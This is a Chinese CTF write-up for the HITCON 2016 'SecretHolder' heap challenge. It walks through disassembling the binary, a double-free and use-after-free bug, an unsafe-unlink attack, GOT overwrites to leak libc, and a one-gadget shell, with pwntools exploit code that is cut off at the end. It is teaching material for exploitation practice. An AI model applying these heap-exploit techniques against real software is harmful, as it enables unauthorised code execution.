6.1.21 pwn HITCONCTF2016 Secret_Holder

下载文件

题目复现

  1. $ file SecretHolder
  2. SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
  3. $ checksec -f SecretHolder
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 2 SecretHolder
  6. $ strings libc-2.23.so | grep "GNU C"
  7. GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
  8. Compiled by GNU CC version 5.3.1 20160413.

64 位程序,开启了 Canary 和 NX,默认开启 ASLR。

在 Ubuntu-16.04 上玩一下:

  1. $ ./SecretHolder
  2. Hey! Do you have any secret?
  3. I can help you to hold your secrets, and no one will be able to see it :)
  4. 1. Keep secret
  5. 2. Wipe secret
  6. 3. Renew secret
  7. 1
  8. Which level of secret do you want to keep?
  9. 1. Small secret
  10. 2. Big secret
  11. 3. Huge secret
  12. 1
  13. Tell me your secret:
  14. AAAA
  15. 1. Keep secret
  16. 2. Wipe secret
  17. 3. Renew secret
  18. 3
  19. Which Secret do you want to renew?
  20. 1. Small secret
  21. 2. Big secret
  22. 3. Huge secret
  23. 1
  24. Tell me your secret:
  25. BBBB
  26. 1. Keep secret
  27. 2. Wipe secret
  28. 3. Renew secret
  29. 2
  30. Which Secret do you want to wipe?
  31. 1. Small secret
  32. 2. Big secret
  33. 3. Huge secret
  34. 1

该程序运行我们输入 small、big、huge 三种 secret,且每种 secret 只能输入一个。通过 Renew 可以修改 secret 的内容。Wipe 用于删除 secret。

猜测三种 secret 应该是有不同的 chunk 大小,但程序没有我们常见的打印信息这种选项来做信息泄漏。

题目解析

下面我们逐个来逆向这些功能。

Keep secret

  1. [0x00400780]> pdf @ sub.Which_level_of_secret_do_you_want_to_keep_86d
  2. / (fcn) sub.Which_level_of_secret_do_you_want_to_keep_86d 442
  3. | sub.Which_level_of_secret_do_you_want_to_keep_86d ();
  4. | ; var int local_14h @ rbp-0x14
  5. | ; var int local_10h @ rbp-0x10
  6. | ; var int local_8h @ rbp-0x8
  7. | ; CALL XREF from 0x00400d6e (main)
  8. | 0x0040086d push rbp
  9. | 0x0040086e mov rbp, rsp
  10. | 0x00400871 sub rsp, 0x20
  11. | 0x00400875 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
  12. | 0x0040087e mov qword [local_8h], rax
  13. | 0x00400882 xor eax, eax
  14. | 0x00400884 mov edi, str.Which_level_of_secret_do_you_want_to_keep ; 0x400e28 ; "Which level of secret do you want to keep?"
  15. | 0x00400889 call sym.imp.puts ; int puts(const char *s)
  16. | 0x0040088e mov edi, str.1._Small_secret ; 0x400e53 ; "1. Small secret"
  17. | 0x00400893 call sym.imp.puts ; int puts(const char *s)
  18. | 0x00400898 mov edi, str.2._Big_secret ; 0x400e63 ; "2. Big secret"
  19. | 0x0040089d call sym.imp.puts ; int puts(const char *s)
  20. | 0x004008a2 mov edi, str.3._Huge_secret ; 0x400e71 ; "3. Huge secret"
  21. | 0x004008a7 call sym.imp.puts ; int puts(const char *s)
  22. | 0x004008ac lea rax, [local_10h]
  23. | 0x004008b0 mov edx, 4
  24. | 0x004008b5 mov esi, 0
  25. | 0x004008ba mov rdi, rax
  26. | 0x004008bd call sym.imp.memset ; void *memset(void *s, int c, size_t n)
  27. | 0x004008c2 lea rax, [local_10h]
  28. | 0x004008c6 mov edx, 4
  29. | 0x004008cb mov rsi, rax
  30. | 0x004008ce mov edi, 0
  31. | 0x004008d3 mov eax, 0
  32. | 0x004008d8 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  33. | 0x004008dd lea rax, [local_10h]
  34. | 0x004008e1 mov rdi, rax
  35. | 0x004008e4 call sym.imp.atoi ; int atoi(const char *str)
  36. | 0x004008e9 mov dword [local_14h], eax
  37. | 0x004008ec mov eax, dword [local_14h]
  38. | 0x004008ef cmp eax, 2 ; 2
  39. | ,=< 0x004008f2 je 0x400963 ; big secret
  40. | | 0x004008f4 cmp eax, 3 ; 3
  41. | ,==< 0x004008f7 je 0x4009bc ; huge secret
  42. | || 0x004008fd cmp eax, 1 ; 1
  43. | ,===< 0x00400900 je 0x400907 ; small secret
  44. | ,====< 0x00400902 jmp 0x400a11
  45. | |||| ; JMP XREF from 0x00400900 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
  46. | |`---> 0x00400907 mov eax, dword [0x006020c0] ; small_flag,表示 small secret 是否已存在
  47. | | || 0x0040090d test eax, eax
  48. | |,===< 0x0040090f je 0x400916 ; small_flag 为 0 时
  49. | ,=====< 0x00400911 jmp 0x400a11
  50. | ||||| ; JMP XREF from 0x0040090f (sub.Which_level_of_secret_do_you_want_to_keep_86d)
  51. | ||`---> 0x00400916 mov esi, 0x28 ; '(' ; 40
  52. | || || 0x0040091b mov edi, 1
  53. | || || 0x00400920 call sym.imp.calloc ; calloc(1, 0x28) small secret 分配空间
  54. | || || 0x00400925 mov qword [0x006020b0], rax ; 把地址放到 [0x006020b0]
  55. | || || 0x0040092c mov dword [0x006020c0], 1 ; 设置 small_flag 1
  56. | || || 0x00400936 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
  57. | || || 0x0040093b call sym.imp.puts ; int puts(const char *s)
  58. | || || 0x00400940 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0
  59. | || || 0x00400947 mov edx, 0x28 ; '(' ; 40
  60. | || || 0x0040094c mov rsi, rax
  61. | || || 0x0040094f mov edi, 0
  62. | || || 0x00400954 mov eax, 0
  63. | || || 0x00400959 call sym.imp.read ; read(0, [0x006020b0], 0x28) 读入 small secret
  64. | ||,===< 0x0040095e jmp 0x400a11
  65. | ||||| ; JMP XREF from 0x004008f2 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
  66. | ||||`-> 0x00400963 mov eax, dword [0x006020b8] ; big_flag,表示 big secret 是否已存在
  67. | |||| 0x00400969 test eax, eax
  68. | ||||,=< 0x0040096b je 0x400972 ; big_flag 为 0 时
  69. | ,======< 0x0040096d jmp 0x400a11
  70. | |||||| ; JMP XREF from 0x0040096b (sub.Which_level_of_secret_do_you_want_to_keep_86d)
  71. | |||||`-> 0x00400972 mov esi, 0xfa0 ; 4000
  72. | ||||| 0x00400977 mov edi, 1
  73. | ||||| 0x0040097c call sym.imp.calloc ; calloc(1, 0xfa0) big secret 分配空间
  74. | ||||| 0x00400981 mov qword [0x006020a0], rax ; 把地址放到 [0x006020a0]
  75. | ||||| 0x00400988 mov dword [0x006020b8], 1 ; 设置 big_flag 1
  76. | ||||| 0x00400992 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
  77. | ||||| 0x00400997 call sym.imp.puts ; int puts(const char *s)
  78. | ||||| 0x0040099c mov rax, qword [0x006020a0] ; [0x6020a0:8]=0
  79. | ||||| 0x004009a3 mov edx, 0xfa0 ; 4000
  80. | ||||| 0x004009a8 mov rsi, rax
  81. | ||||| 0x004009ab mov edi, 0
  82. | ||||| 0x004009b0 mov eax, 0
  83. | ||||| 0x004009b5 call sym.imp.read ; read(0, [0x006020a0], 0xfa0) 读入 big secret
  84. | |||||,=< 0x004009ba jmp 0x400a11
  85. | |||||| ; JMP XREF from 0x004008f7 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
  86. | ||||`--> 0x004009bc mov eax, dword [0x006020bc] ; huge_flag,表示 huge secret 是否已存在
  87. | |||| | 0x004009c2 test eax, eax
  88. | ||||,==< 0x004009c4 je 0x4009c8 ; huge_flag 为 0 时
  89. | ,=======< 0x004009c6 jmp 0x400a11
  90. | ||||||| ; JMP XREF from 0x004009c4 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
  91. | |||||`--> 0x004009c8 mov esi, 0x61a80
  92. | ||||| | 0x004009cd mov edi, 1
  93. | ||||| | 0x004009d2 call sym.imp.calloc ; calloc(1, 0x61a80) huge secret 分配空间
  94. | ||||| | 0x004009d7 mov qword [0x006020a8], rax ; 把地址放到 [0x006020a8]
  95. | ||||| | 0x004009de mov dword [0x006020bc], 1 ; 设置 huge_flag 1
  96. | ||||| | 0x004009e8 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
  97. | ||||| | 0x004009ed call sym.imp.puts ; int puts(const char *s)
  98. | ||||| | 0x004009f2 mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  99. | ||||| | 0x004009f9 mov edx, 0x61a80
  100. | ||||| | 0x004009fe mov rsi, rax
  101. | ||||| | 0x00400a01 mov edi, 0
  102. | ||||| | 0x00400a06 mov eax, 0
  103. | ||||| | 0x00400a0b call sym.imp.read ; read(0, [0x006020a8], 0x61a80) 读入 huge secret
  104. | ||||| | 0x00400a10 nop
  105. | ||||| | ; XREFS: JMP 0x00400902 JMP 0x00400911 JMP 0x0040095e JMP 0x0040096d JMP 0x004009ba JMP 0x004009c6
  106. | `````-`-> 0x00400a11 mov rax, qword [local_8h]
  107. | 0x00400a15 xor rax, qword fs:[0x28]
  108. | ,=< 0x00400a1e je 0x400a25
  109. | | 0x00400a20 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  110. | | ; JMP XREF from 0x00400a1e (sub.Which_level_of_secret_do_you_want_to_keep_86d)
  111. | `-> 0x00400a25 leave
  112. \ 0x00400a26 ret

果然该函数使用 calloc() 为三种 secret 分别了不同大小的 chunk,small secret 属于 small chunk,big secret 和 huge secret 属于 large chunk。在分配前,会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个,chunk 的指针放在 .bss 段上。另外其实读入 secret 的逻辑还是有问题的,它没有处理换行符,也没有在字符串末尾加 \x00

Wipe secret

  1. [0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_wipe_a27
  2. / (fcn) sub.Which_Secret_do_you_want_to_wipe_a27 247
  3. | sub.Which_Secret_do_you_want_to_wipe_a27 ();
  4. | ; var int local_14h @ rbp-0x14
  5. | ; var int local_10h @ rbp-0x10
  6. | ; var int local_8h @ rbp-0x8
  7. | ; CALL XREF from 0x00400d7a (main)
  8. | 0x00400a27 push rbp
  9. | 0x00400a28 mov rbp, rsp
  10. | 0x00400a2b sub rsp, 0x20
  11. | 0x00400a2f mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
  12. | 0x00400a38 mov qword [local_8h], rax
  13. | 0x00400a3c xor eax, eax
  14. | 0x00400a3e mov edi, str.Which_Secret_do_you_want_to_wipe ; 0x400e98 ; "Which Secret do you want to wipe?"
  15. | 0x00400a43 call sym.imp.puts ; int puts(const char *s)
  16. | 0x00400a48 mov edi, str.1._Small_secret ; 0x400e53 ; "1. Small secret"
  17. | 0x00400a4d call sym.imp.puts ; int puts(const char *s)
  18. | 0x00400a52 mov edi, str.2._Big_secret ; 0x400e63 ; "2. Big secret"
  19. | 0x00400a57 call sym.imp.puts ; int puts(const char *s)
  20. | 0x00400a5c mov edi, str.3._Huge_secret ; 0x400e71 ; "3. Huge secret"
  21. | 0x00400a61 call sym.imp.puts ; int puts(const char *s)
  22. | 0x00400a66 lea rax, [local_10h]
  23. | 0x00400a6a mov edx, 4
  24. | 0x00400a6f mov esi, 0
  25. | 0x00400a74 mov rdi, rax
  26. | 0x00400a77 call sym.imp.memset ; void *memset(void *s, int c, size_t n)
  27. | 0x00400a7c lea rax, [local_10h]
  28. | 0x00400a80 mov edx, 4
  29. | 0x00400a85 mov rsi, rax
  30. | 0x00400a88 mov edi, 0
  31. | 0x00400a8d mov eax, 0
  32. | 0x00400a92 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  33. | 0x00400a97 lea rax, [local_10h]
  34. | 0x00400a9b mov rdi, rax
  35. | 0x00400a9e call sym.imp.atoi ; int atoi(const char *str)
  36. | 0x00400aa3 mov dword [local_14h], eax
  37. | 0x00400aa6 mov eax, dword [local_14h]
  38. | 0x00400aa9 cmp eax, 2 ; 2
  39. | ,=< 0x00400aac je 0x400ad3 ; big secret
  40. | | 0x00400aae cmp eax, 3 ; 3
  41. | ,==< 0x00400ab1 je 0x400aee ; huge secret
  42. | || 0x00400ab3 cmp eax, 1 ; 1
  43. | ,===< 0x00400ab6 jne 0x400b08
  44. | ||| 0x00400ab8 mov rax, qword [0x006020b0] ; small secret
  45. | ||| 0x00400abf mov rdi, rax
  46. | ||| 0x00400ac2 call sym.imp.free ; free([0x006020b0]) 释放 small secret
  47. | ||| 0x00400ac7 mov dword [0x006020c0], 0 ; 设置 small_flag 0
  48. | ,====< 0x00400ad1 jmp 0x400b08
  49. | |||| ; JMP XREF from 0x00400aac (sub.Which_Secret_do_you_want_to_wipe_a27)
  50. | |||`-> 0x00400ad3 mov rax, qword [0x006020a0] ; [0x6020a0:8]=0
  51. | ||| 0x00400ada mov rdi, rax
  52. | ||| 0x00400add call sym.imp.free ; free([0x006020a0]) 释放 big secret
  53. | ||| 0x00400ae2 mov dword [0x006020b8], 0 ; 设置 big_flag 为 0
  54. | |||,=< 0x00400aec jmp 0x400b08
  55. | |||| ; JMP XREF from 0x00400ab1 (sub.Which_Secret_do_you_want_to_wipe_a27)
  56. | ||`--> 0x00400aee mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  57. | || | 0x00400af5 mov rdi, rax
  58. | || | 0x00400af8 call sym.imp.free ; free([0x006020a8]) 释放 huge secret
  59. | || | 0x00400afd mov dword [0x006020bc], 0 ; 设置 huge_flag 0
  60. | || | 0x00400b07 nop
  61. | || | ; JMP XREF from 0x00400ab6 (sub.Which_Secret_do_you_want_to_wipe_a27)
  62. | || | ; JMP XREF from 0x00400ad1 (sub.Which_Secret_do_you_want_to_wipe_a27)
  63. | || | ; JMP XREF from 0x00400aec (sub.Which_Secret_do_you_want_to_wipe_a27)
  64. | ``-`-> 0x00400b08 mov rax, qword [local_8h]
  65. | 0x00400b0c xor rax, qword fs:[0x28]
  66. | ,=< 0x00400b15 je 0x400b1c
  67. | | 0x00400b17 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  68. | | ; JMP XREF from 0x00400b15 (sub.Which_Secret_do_you_want_to_wipe_a27)
  69. | `-> 0x00400b1c leave
  70. \ 0x00400b1d ret

该函数在释放 secret 时,首先将对应的 chunk 释放掉,然后设置 flag 为 0。漏洞很明显,就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free,然后在释放前,也没有检查 flag,可能导致 double-free。

Renew secret

  1. [0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_renew_b1e
  2. / (fcn) sub.Which_Secret_do_you_want_to_renew_b1e 330
  3. | sub.Which_Secret_do_you_want_to_renew_b1e ();
  4. | ; var int local_14h @ rbp-0x14
  5. | ; var int local_10h @ rbp-0x10
  6. | ; var int local_8h @ rbp-0x8
  7. | ; CALL XREF from 0x00400d86 (main)
  8. | 0x00400b1e push rbp
  9. | 0x00400b1f mov rbp, rsp
  10. | 0x00400b22 sub rsp, 0x20
  11. | 0x00400b26 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
  12. | 0x00400b2f mov qword [local_8h], rax
  13. | 0x00400b33 xor eax, eax
  14. | 0x00400b35 mov edi, str.Which_Secret_do_you_want_to_renew ; 0x400ec0 ; "Which Secret do you want to renew?"
  15. | 0x00400b3a call sym.imp.puts ; int puts(const char *s)
  16. | 0x00400b3f mov edi, str.1._Small_secret ; 0x400e53 ; "1. Small secret"
  17. | 0x00400b44 call sym.imp.puts ; int puts(const char *s)
  18. | 0x00400b49 mov edi, str.2._Big_secret ; 0x400e63 ; "2. Big secret"
  19. | 0x00400b4e call sym.imp.puts ; int puts(const char *s)
  20. | 0x00400b53 mov edi, str.3._Huge_secret ; 0x400e71 ; "3. Huge secret"
  21. | 0x00400b58 call sym.imp.puts ; int puts(const char *s)
  22. | 0x00400b5d lea rax, [local_10h]
  23. | 0x00400b61 mov edx, 4
  24. | 0x00400b66 mov esi, 0
  25. | 0x00400b6b mov rdi, rax
  26. | 0x00400b6e call sym.imp.memset ; void *memset(void *s, int c, size_t n)
  27. | 0x00400b73 lea rax, [local_10h]
  28. | 0x00400b77 mov edx, 4
  29. | 0x00400b7c mov rsi, rax
  30. | 0x00400b7f mov edi, 0
  31. | 0x00400b84 mov eax, 0
  32. | 0x00400b89 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  33. | 0x00400b8e lea rax, [local_10h]
  34. | 0x00400b92 mov rdi, rax
  35. | 0x00400b95 call sym.imp.atoi ; int atoi(const char *str)
  36. | 0x00400b9a mov dword [local_14h], eax
  37. | 0x00400b9d mov eax, dword [local_14h]
  38. | 0x00400ba0 cmp eax, 2 ; 2
  39. | ,=< 0x00400ba3 je 0x400be9 ; big secret
  40. | | 0x00400ba5 cmp eax, 3 ; 3
  41. | ,==< 0x00400ba8 je 0x400c1f ; huge secret
  42. | || 0x00400baa cmp eax, 1 ; 1
  43. | ,===< 0x00400bad jne 0x400c52
  44. | ||| 0x00400bb3 mov eax, dword [0x006020c0] ; small secret
  45. | ||| 0x00400bb9 test eax, eax
  46. | ,====< 0x00400bbb je 0x400be7 ; small_flag 0 时,函数返回
  47. | |||| 0x00400bbd mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
  48. | |||| 0x00400bc2 call sym.imp.puts ; int puts(const char *s)
  49. | |||| 0x00400bc7 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0
  50. | |||| 0x00400bce mov edx, 0x28 ; '(' ; 40
  51. | |||| 0x00400bd3 mov rsi, rax
  52. | |||| 0x00400bd6 mov edi, 0
  53. | |||| 0x00400bdb mov eax, 0
  54. | |||| 0x00400be0 call sym.imp.read ; read(0, [0x006020b0], 0x28) 否则读入 small secret
  55. | ,=====< 0x00400be5 jmp 0x400c52
  56. | ||||| ; JMP XREF from 0x00400bbb (sub.Which_Secret_do_you_want_to_renew_b1e)
  57. | ,=`----> 0x00400be7 jmp 0x400c52
  58. | || ||| ; JMP XREF from 0x00400ba3 (sub.Which_Secret_do_you_want_to_renew_b1e)
  59. | || ||`-> 0x00400be9 mov eax, dword [0x006020b8] ; [0x6020b8:4]=0
  60. | || || 0x00400bef test eax, eax
  61. | || ||,=< 0x00400bf1 je 0x400c1d ; big_flag 0 时,函数返回
  62. | || ||| 0x00400bf3 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
  63. | || ||| 0x00400bf8 call sym.imp.puts ; int puts(const char *s)
  64. | || ||| 0x00400bfd mov rax, qword [0x006020a0] ; [0x6020a0:8]=0
  65. | || ||| 0x00400c04 mov edx, 0xfa0 ; 4000
  66. | || ||| 0x00400c09 mov rsi, rax
  67. | || ||| 0x00400c0c mov edi, 0
  68. | || ||| 0x00400c11 mov eax, 0
  69. | || ||| 0x00400c16 call sym.imp.read ; read(0, [0x006020a0], 0xfa0) 否则读入 big secret
  70. | ||,====< 0x00400c1b jmp 0x400c52
  71. | |||||| ; JMP XREF from 0x00400bf1 (sub.Which_Secret_do_you_want_to_renew_b1e)
  72. | ,=====`-> 0x00400c1d jmp 0x400c52
  73. | |||||| ; JMP XREF from 0x00400ba8 (sub.Which_Secret_do_you_want_to_renew_b1e)
  74. | |||||`--> 0x00400c1f mov eax, dword [0x006020bc] ; [0x6020bc:4]=0
  75. | ||||| 0x00400c25 test eax, eax
  76. | ||||| ,=< 0x00400c27 je 0x400c51 ; huge_flag 0 时,函数返回
  77. | ||||| | 0x00400c29 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
  78. | ||||| | 0x00400c2e call sym.imp.puts ; int puts(const char *s)
  79. | ||||| | 0x00400c33 mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
  80. | ||||| | 0x00400c3a mov edx, 0x61a80
  81. | ||||| | 0x00400c3f mov rsi, rax
  82. | ||||| | 0x00400c42 mov edi, 0
  83. | ||||| | 0x00400c47 mov eax, 0
  84. | ||||| | 0x00400c4c call sym.imp.read ; read(0, [0x006020a8], 0x61a80) 否则读入 huge secret
  85. | ||||| | ; JMP XREF from 0x00400c27 (sub.Which_Secret_do_you_want_to_renew_b1e)
  86. | ||||| `-> 0x00400c51 nop
  87. | ||||| ; JMP XREF from 0x00400bad (sub.Which_Secret_do_you_want_to_renew_b1e)
  88. | ||||| ; JMP XREF from 0x00400be5 (sub.Which_Secret_do_you_want_to_renew_b1e)
  89. | ||||| ; JMP XREF from 0x00400be7 (sub.Which_Secret_do_you_want_to_renew_b1e)
  90. | ||||| ; JMP XREF from 0x00400c1b (sub.Which_Secret_do_you_want_to_renew_b1e)
  91. | ||||| ; JMP XREF from 0x00400c1d (sub.Which_Secret_do_you_want_to_renew_b1e)
  92. | `````---> 0x00400c52 mov rax, qword [local_8h]
  93. | 0x00400c56 xor rax, qword fs:[0x28]
  94. | ,=< 0x00400c5f je 0x400c66
  95. | | 0x00400c61 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  96. | | ; JMP XREF from 0x00400c5f (sub.Which_Secret_do_you_want_to_renew_b1e)
  97. | `-> 0x00400c66 leave
  98. \ 0x00400c67 ret

该函数首先判断对应的 flag 是否为 1,即 secret 是否已经存在,如果不存在,则读入 secret,否则函数直接返回。

漏洞利用

总结一下我们知道的东西:

  • small secret: small chunk, 40 bytes
    • small_ptr: 0x006020b0
    • small_flag: 0x006020c0
  • big secret: large chunk, 4000 bytes
    • big_ptr: 0x006020a0
    • big_flag: 0x006020b8
  • huge secret: large chunk, 400000 bytes
    • huge_ptr: 0x006020a8
    • huge_flag: 0x006020bc

漏洞:

  • double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk
  • use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用

有个问题是,400000 bytes 的 huge secret 连 top chunk 都不能满足,此时会调用 sysmalloc(),通过 brk() 或者 mmap() 为其分配空间,该函数首先判断是否满足 mmap() 的分配条件,即需求 chunk 的大小大于阀值 mp_.mmap_threshold,且此进程通过 mmap() 分配的总内存数量 mp_.n_mmaps 小于最大值 mp_.n_mmaps_max

  1. /*
  2. If have mmap, and the request size meets the mmap threshold, and
  3. the system supports mmap, and there are few enough currently
  4. allocated mmapped regions, try to directly map this request
  5. rather than expanding top.
  6. */
  7. if (av == NULL
  8. || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
  9. && (mp_.n_mmaps < mp_.n_mmaps_max)))
  10. {

此时将使用 mmap() 来分配内存。然而这样得到的内存将与初始堆(由brk()分配,位于.bss段附近)的位置相距很远,难以利用。所以我们要想办法使用 brk() 来分配,好消息是由于性能的关系,在释放由 mmap() 分配的 chunk 时,会动态调整阀值 mp_.mmap_threshold 来避免碎片化,使得下一次的分配时使用 brk()

  1. void
  2. __libc_free (void *mem)
  3. {
  4. [...]
  5. if (chunk_is_mmapped (p)) /* release mmapped memory. */
  6. {
  7. /* see if the dynamic brk/mmap threshold needs adjusting */
  8. if (!mp_.no_dyn_threshold
  9. && p->size > mp_.mmap_threshold
  10. && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
  11. {
  12. mp_.mmap_threshold = chunksize (p);
  13. mp_.trim_threshold = 2 * mp_.mmap_threshold;
  14. LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
  15. mp_.mmap_threshold, mp_.trim_threshold);
  16. }
  17. munmap_chunk (p);
  18. return;
  19. }
  1. def unlink():
  2. keep(1)
  3. wipe(1)
  4. keep(2) # big
  5. wipe(1) # double free
  6. keep(1) # small # overlapping
  7. keep(3)
  8. wipe(3)
  9. keep(3) # huge
  10. payload = p64(0) # fake prev_size
  11. payload += p64(0x21) # fake size
  12. payload += p64(small_ptr - 0x18) # fake fd
  13. payload += p64(small_ptr - 0x10) # fake bk
  14. payload += p64(0x20) # fake prev_size
  15. payload += p64(0x61a90) # fake size
  16. renew(2, payload)
  17. wipe(3) # unsafe unlink

因为在分配 large chunk 的时候,glibc 首先会调用函数 malloc_consolidate() 来清除 fastbin 中的块。所以 big secret 被放到了原 small secret 的位置,当再次分配 small secret 的时候就造成了堆块重叠。

首先制造 double free:

  1. gdb-peda$ x/5gx 0x006020a0
  2. 0x6020a0: 0x0000000000603010 0x0000000000603040
  3. 0x6020b0: 0x0000000000603010 0x0000000100000001
  4. 0x6020c0: 0x0000000000000001
  5. gdb-peda$ x/10gx 0x00603010-0x10
  6. 0x603000: 0x0000000000000000 0x0000000000000031 <-- small, big
  7. 0x603010: 0x0000000041414141 0x0000000000000000
  8. 0x603020: 0x0000000000000000 0x0000000000000000
  9. 0x603030: 0x0000000000000000 0x0000000000061a91 <-- huge
  10. 0x603040: 0x0000000041414141 0x0000000000000000

然后在 big secret 里布置一个 fake chunk:

  1. gdb-peda$ x/5gx 0x006020a0
  2. 0x6020a0: 0x0000000000603010 0x0000000000603040
  3. 0x6020b0: 0x0000000000603010 0x0000000100000001
  4. 0x6020c0: 0x0000000000000001
  5. gdb-peda$ x/10gx 0x00603010-0x10
  6. 0x603000: 0x0000000000000000 0x0000000000000031 <-- small, big
  7. 0x603010: 0x0000000000000000 0x0000000000000021 <-- fake chunk
  8. 0x603020: 0x0000000000602098 0x00000000006020a0 <-- fd, bk pointer
  9. 0x603030: 0x0000000000000020 0x0000000000061a90 <-- huge
  10. 0x603040: 0x0000000041414141 0x0000000000000000
  11. gdb-peda$ x/gx 0x00602098 + 0x18
  12. 0x6020b0: 0x0000000000603010 <-- P->fd->bk = P
  13. gdb-peda$ x/gx 0x006020a0 + 0x10
  14. 0x6020b0: 0x0000000000603010 <-- P->bk->fd = P

释放 huge secret,即可触发 unsafe unlink:

  1. gdb-peda$ x/6gx 0x00602098
  2. 0x602098: 0x0000000000000000 0x0000000000603010
  3. 0x6020a8: 0x0000000000603040 0x0000000000602098 <-- fake chunk ptr
  4. 0x6020b8: 0x0000000000000001 0x0000000000000001

于是我们就获得了修改 .bss 段的能力。

leak libc

  1. def leak():
  2. global one_gadget
  3. payload = "A" * 8
  4. payload += p64(elf.got['free']) # big_ptr -> free@got.plt
  5. payload += "A" * 8
  6. payload += p64(big_ptr) # small_ptr -> big_ptr
  7. renew(1, payload)
  8. renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
  9. renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
  10. wipe(2)
  11. puts_addr = u64(io.recvline()[:6] + "\x00\x00")
  12. libc_base = puts_addr - libc.symbols['puts']
  13. one_gadget = libc_base + 0x4525a
  14. log.info("libc base: 0x%x" % libc_base)
  15. log.info("one_gadget address: 0x%x" % one_gadget)

修改 big_ptr 指向 free@got.plt,small_ptr 指向 big_ptr:

  1. gdb-peda$ x/6gx 0x00602098
  2. 0x602098: 0x4141414141414141 0x0000000000602018
  3. 0x6020a8: 0x4141414141414141 0x00000000006020a0
  4. 0x6020b8: 0x0000000000000001 0x0000000000000001
  5. gdb-peda$ x/gx 0x00602018
  6. 0x602018 <free@got.plt>: 0x00007ffff7a91a70

修改 free@got.pltputs@plt,big_ptr 指向 puts@got.plt

  1. gdb-peda$ x/6gx 0x00602098
  2. 0x602098: 0x4141414141414141 0x0000000000602020
  3. 0x6020a8: 0x4141414141414141 0x00000000006020a0
  4. 0x6020b8: 0x0000000000000001 0x0000000000000001
  5. gdb-peda$ x/gx 0x00602018
  6. 0x602018 <free@got.plt>: 0x00000000004006c0
  7. gdb-peda$ x/gx 0x00602020
  8. 0x602020 <puts@got.plt>: 0x00007ffff7a7d5d0

此时释放 big secret,其实就是 puts(puts_addr),通过偏移计算即可得到 libc 基址和 one-gadget 地址。

pwn

  1. def pwn():
  2. payload = "A" * 0x10
  3. payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
  4. renew(1, payload)
  5. renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
  6. io.interactive()

最后可以通过两次修改,将 puts@got.plt 修改为 one-gadget,获得 shell。

开启 ASLR,Bingo!!!

  1. $ python exp.py
  2. [+] Starting local process './SecretHolder': pid 6979
  3. [*] libc base: 0x7f34e24ae000
  4. [*] one_gadget address: 0x7f34e24f325a
  5. [*] Switching to interactive mode
  6. $ whoami
  7. firmy

exploit

完整的 exp 如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. #context.log_level = 'debug'
  4. io = process(['./SecretHolder'], env={'LD_PRELOAD':'./libc-2.23.so'})
  5. elf = ELF('SecretHolder')
  6. libc = ELF('libc-2.23.so')
  7. small_ptr = 0x006020b0
  8. big_ptr = 0x006020a0
  9. def keep(idx):
  10. io.sendlineafter("Renew secret\n", '1')
  11. io.sendlineafter("Huge secret\n", str(idx))
  12. io.sendafter("secret: \n", 'AAAA')
  13. def wipe(idx):
  14. io.sendlineafter("Renew secret\n", '2')
  15. io.sendlineafter("Huge secret\n", str(idx))
  16. def renew(idx, content):
  17. io.sendlineafter("Renew secret\n", '3')
  18. io.sendlineafter("Huge secret\n", str(idx))
  19. io.sendafter("secret: \n", content)
  20. def unlink():
  21. keep(1)
  22. wipe(1)
  23. keep(2) # big
  24. wipe(1) # double free
  25. keep(1) # small # overlapping
  26. keep(3)
  27. wipe(3)
  28. keep(3) # huge
  29. payload = p64(0) # fake prev_size
  30. payload += p64(0x21) # fake size
  31. payload += p64(small_ptr - 0x18) # fake fd
  32. payload += p64(small_ptr - 0x10) # fake bk
  33. payload += p64(0x20) # fake prev_size
  34. payload += p64(0x61a90) # fake size
  35. renew(2, payload)
  36. wipe(3) # unsafe unlink
  37. def leak():
  38. global one_gadget
  39. payload = "A" * 8
